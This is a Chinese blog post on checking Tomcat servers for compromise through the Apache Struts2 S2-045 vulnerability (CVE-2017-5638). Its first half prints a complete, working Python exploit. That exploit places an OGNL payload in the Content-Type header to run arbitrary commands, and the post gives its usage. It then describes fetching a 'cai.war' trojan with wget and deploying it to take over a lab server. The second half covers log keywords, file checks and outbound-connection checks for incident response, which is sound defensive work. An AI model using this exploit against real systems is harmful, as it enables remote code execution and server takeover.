昨天在朋友圈转载了一篇利用S2-045漏洞植入恶意软件的分析文章,有朋友留言问如何排查自己的服务器是否被感染,今天就特意写篇文章统一解答,为了演示方便,我自己搭建一台具有该漏洞的服务器,并进行了木马的植入。
POC代码
#!/usr/bin/pythonimport urllib2import httplibimport ssldef exploit(url, cmd): payload = "%{(#_='multipart/form-data')." payload += "(#[email protected]@DEFAULT_MEMBER_ACCESS)." payload += "(#_memberAccess?" payload += "(#_memberAccess=#dm):" payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." payload += "(#ognlUtil.getExcludedPackageNames().clear())." payload += "(#ognlUtil.getExcludedClasses().clear())." payload += "(#context.setMemberAccess(#dm))))." payload += "(#cmd='%s')." % cmd payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." payload += "(#p=new java.lang.ProcessBuilder(#cmds))." payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." payload += "(#ros.flush())}" try: headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload} request = urllib2.Request(url, headers=headers) try: _create_unverified_https_context = ssl._create_unverified_context() except AttributeError: #Legacy Python that dosn't verify HTTPS certificates bydefault pass else: #Handle target environment that doesn't support Https verification ssl._create_default_https_context = _create_unverified_https_context #context = ssl._create_unverified_context() page = urllib2.urlopen(request,context=_create_unverified_https_context).read() except httplib.IncompleteRead, e: page = e.partial print(page) return pageif __name__ == '__main__': import sys if len(sys.argv) != 3: print("[*] struts2_S2-045.py <url> <cmd>") else: print('[*] CVE: 2017-5638 - Apache Struts2 S2-045') url = sys.argv[1] cmd = sys.argv[2] print("[*] cmd: %s\n" % cmd) exploit(url, cmd)
代码原型来自于github,本人对其进行了简单的改造,使其支持对https链接支持。使用方式
python s2-045.py <url> <cmd> #当cmd带有参数时,使用“”将cmd包围起来。
通过wget命令下载cai.war木马文件,下载成功后,如下图:
再次执行命令,将此文件移动到webapps/目录下,如果tomcat配置了war包自动部署,会直接将war包进行部署。如下图:
通过命令查看是否部署成功,如果产生一个cai的文件夹,则成功,如下图:
通过浏览器访问木马,成功,这时,服务器已经被拿下。
(上面的拿下服务器的过程不是本文章的重点,如果有高手觉得手法有点笨拙,请多见谅)
下面正式开始今天的主题,入侵痕迹排查,以下为排查思路。
tomcat 的logs/目录下有如上日志可供我们查看。
我们可以通过分析Tomcat的catalina来查看是否有人尝试运行过POC来访问服务器
通过排查tomcat的logs目标下的所有catalina日志文件,搜索如下关键字,查看是否有访问:
multipart/form-data DEFAULT_MEMBER_ACCESS OgnlContext Wget bash cmd 以及一些常用的命令如:dir,ls.whoami,ls,ifconfig,ipconfig等。
分析tomcat的logs目录下的所有access日志,找到同一页面请求,返回大小差异特别大的请求,如果日志量较大,可以通过脚本或其他工具来查看,如excel
如果在上面日志排查中发现了攻击行为,需要进一步排查服务器文件,看是否被部署恶意代码或种马
通过查看usr.xml文件,查看是否有新增异常用户,并通过manager日志,可以看出是否被部署其他页面。
通过命令查看在某段时间内服务器新增的文件或页面。
这是通过文件修改时间一来查找的,这种方法有时候并不准确,需要手动确认。
对tomcat的bin目录下的文件进行比对和查看。代码执行漏洞可以使用wget,curl等方式远程下载执行文件或脚本来感染服务器。
一般来讲,服务器不存在由内到外的连接请求,如果发现,有可能是恶意软件,或木马等,直接清除。
如果在网络连接中发现有恶意连接,可以一步排查服务器进行,看看是否有文件排查过程中没有发现的文件或脚本。
*作者:网络安全感,